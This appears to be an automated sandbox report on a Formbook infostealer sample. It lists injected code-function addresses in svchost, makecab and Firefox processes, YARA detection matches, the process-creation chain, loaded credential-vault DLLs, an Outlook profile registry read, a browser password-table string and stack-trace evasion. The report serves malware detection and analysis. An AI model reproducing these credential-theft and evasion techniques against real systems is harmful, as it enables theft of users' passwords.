Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF70E9	1_2_02EF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFF0E0	1_2_02EFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEF0CC	1_2_02EEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E470C0	1_2_02E470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E4B1B0	1_2_02E4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E7516C	1_2_02E7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E2F172	1_2_02E2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02F0B16B	1_2_02F0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF16CC	1_2_02EF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFF7B0	1_2_02EFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E31460	1_2_02E31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFF43F	1_2_02EFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDD5B0	1_2_02EDD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF7571	1_2_02EF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EEDAC6	1_2_02EEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EDDAAC	1_2_02EDDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E85AA0	1_2_02E85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EE1AA3	1_2_02EE1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB3A6C	1_2_02EB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFFA49	1_2_02EFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF7A46	1_2_02EF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB5BF0	1_2_02EB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E7DBF9	1_2_02E7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5FB80	1_2_02E5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFFB76	1_2_02EFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E438E0	1_2_02E438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EAD800	1_2_02EAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E49950	1_2_02E49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5B950	1_2_02E5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02ED5910	1_2_02ED5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E49EB0	1_2_02E49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFFFB1	1_2_02EFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E41F92	1_2_02E41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFFF09	1_2_02EFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EFFCF2	1_2_02EFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EB9C32	1_2_02EB9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E5FDC0	1_2_02E5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF7D73	1_2_02EF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02E43D40	1_2_02E43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_02EF1D5A	1_2_02EF1D5A
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04731460	6_2_04731460
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047F2446	6_2_047F2446
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047FF43F	6_2_047FF43F
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047EE4F6	6_2_047EE4F6
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047F7571	6_2_047F7571
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04800591	6_2_04800591
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04740535	6_2_04740535
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047DD5B0	6_2_047DD5B0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0475C6E0	6_2_0475C6E0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047F16CC	6_2_047F16CC
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04740770	6_2_04740770
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04764750	6_2_04764750
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0473C7C0	6_2_0473C7C0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047FF7B0	6_2_047FF7B0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047F70E9	6_2_047F70E9
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047FF0E0	6_2_047FF0E0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047EF0CC	6_2_047EF0CC
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047470C0	6_2_047470C0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0472F172	6_2_0472F172
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0477516C	6_2_0477516C
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_048001AA	6_2_048001AA
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047DA118	6_2_047DA118
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04730100	6_2_04730100
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047F81CC	6_2_047F81CC
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0474B1B0	6_2_0474B1B0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0480B16B	6_2_0480B16B
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047E0274	6_2_047E0274
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0475D2F0	6_2_0475D2F0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047E12ED	6_2_047E12ED
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0475B2C0	6_2_0475B2C0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047452A0	6_2_047452A0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047FA352	6_2_047FA352
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0472D34C	6_2_0472D34C
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047F132D	6_2_047F132D
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_048003E6	6_2_048003E6
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0474E3F0	6_2_0474E3F0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0478739A	6_2_0478739A
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047B9C32	6_2_047B9C32
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04740C00	6_2_04740C00
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04730CF2	6_2_04730CF2
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047FFCF2	6_2_047FFCF2
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047E0CB5	6_2_047E0CB5
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047F7D73	6_2_047F7D73
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047F1D5A	6_2_047F1D5A
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04743D40	6_2_04743D40
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0474AD00	6_2_0474AD00
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0473ADE0	6_2_0473ADE0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0475FDC0	6_2_0475FDC0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04758DBF	6_2_04758DBF
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04740E59	6_2_04740E59
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047FEE26	6_2_047FEE26
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047FEEDB	6_2_047FEEDB
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04749EB0	6_2_04749EB0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04752E90	6_2_04752E90
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047FCE93	6_2_047FCE93
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047B4F40	6_2_047B4F40
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04760F30	6_2_04760F30
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04782F28	6_2_04782F28
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047FFF09	6_2_047FFF09
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04732FC8	6_2_04732FC8
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047FFFB1	6_2_047FFFB1
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04741F92	6_2_04741F92
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04742840	6_2_04742840
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0474A840	6_2_0474A840
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0476E8F0	6_2_0476E8F0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047438E0	6_2_047438E0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047268B8	6_2_047268B8
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04756962	6_2_04756962
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04749950	6_2_04749950
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0475B950	6_2_0475B950
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0480A9A6	6_2_0480A9A6
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047429A0	6_2_047429A0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047B3A6C	6_2_047B3A6C
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047FFA49	6_2_047FFA49
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047F7A46	6_2_047F7A46
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047EDAC6	6_2_047EDAC6
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047DDAAC	6_2_047DDAAC
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_04785AA0	6_2_04785AA0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0473EA80	6_2_0473EA80
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047FFB76	6_2_047FFB76
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047FAB40	6_2_047FAB40
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0477DBF9	6_2_0477DBF9
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_047F6BD7	6_2_047F6BD7
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0475FB80	6_2_0475FB80
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_02811C50	6_2_02811C50
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_028152F0	6_2_028152F0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_028134E0	6_2_028134E0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0280CBB7	6_2_0280CBB7
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0280CBC0	6_2_0280CBC0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0282B800	6_2_0282B800
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0280AE60	6_2_0280AE60
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_0280CDE0	6_2_0280CDE0
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_045DE4C4	6_2_045DE4C4
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_045DE3A8	6_2_045DE3A8
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_045DE85C	6_2_045DE85C
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_045DD8C8	6_2_045DD8C8
Source: C:\Windows\SysWOW64\makecab.exe	Code function: 6_2_045DCB68	6_2_045DCB68
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Code function: 7_2_0565C543	7_2_0565C543
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Code function: 7_2_0563D903	7_2_0563D903
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Code function: 7_2_05642993	7_2_05642993
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Code function: 7_2_05646033	7_2_05646033
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Code function: 7_2_0563D8FA	7_2_0563D8FA
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Code function: 7_2_0563DB23	7_2_0563DB23
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Code function: 7_2_0563BBA3	7_2_0563BBA3
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Code function: 7_2_05644223	7_2_05644223
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 8_2_000002469BF708C8	8_2_000002469BF708C8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 8_2_000002469BF714C4	8_2_000002469BF714C4
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 8_2_000002469BF7185C	8_2_000002469BF7185C
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 8_2_000002469BF713A8	8_2_000002469BF713A8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 8_2_000002469BF6FB68	8_2_000002469BF6FB68

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02E75130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02E2B970 appears 257 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02EAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02E87E54 appears 99 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 02EBF290 appears 103 times
Source: C:\Windows\SysWOW64\makecab.exe	Code function: String function: 0472B970 appears 248 times
Source: C:\Windows\SysWOW64\makecab.exe	Code function: String function: 047AEA12 appears 84 times
Source: C:\Windows\SysWOW64\makecab.exe	Code function: String function: 04775130 appears 36 times
Source: C:\Windows\SysWOW64\makecab.exe	Code function: String function: 04787E54 appears 85 times
Source: C:\Windows\SysWOW64\makecab.exe	Code function: String function: 047BF290 appears 103 times

Source: 8mmZ7Bkoj1.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 1.2.svchost.exe.2410000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 1.2.svchost.exe.2410000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.2155548191.0000000002C90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3561632009.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.2147046823.0000000002410000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000007.00000002.3563473884.0000000005600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000001.00000002.2162734748.0000000005C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3560663904.0000000002800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3561586168.0000000004490000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3561735545.00000000056D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@10/5

Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe

File created: C:\Users\user\AppData\Local\Temp\emboweling

Source: 8mmZ7Bkoj1.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: makecab.exe, 00000006.00000003.2337229240.0000000002B43000.00000004.00000020.00020000.00000000.sdmp, makecab.exe, 00000006.00000002.3560929755.0000000002B43000.00000004.00000020.00020000.00000000.sdmp, makecab.exe, 00000006.00000003.2336582609.0000000002B21000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 8mmZ7Bkoj1.exe

ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe

File read: C:\Users\user\Desktop\8mmZ7Bkoj1.exe

Source: unknown	Process created: C:\Users\user\Desktop\8mmZ7Bkoj1.exe "C:\Users\user\Desktop\8mmZ7Bkoj1.exe"
Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\8mmZ7Bkoj1.exe"
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Process created: C:\Windows\SysWOW64\makecab.exe "C:\Windows\SysWOW64\makecab.exe"
Source: C:\Windows\SysWOW64\makecab.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\8mmZ7Bkoj1.exe"	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Process created: C:\Windows\SysWOW64\makecab.exe "C:\Windows\SysWOW64\makecab.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Source: C:\Windows\SysWOW64\makecab.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

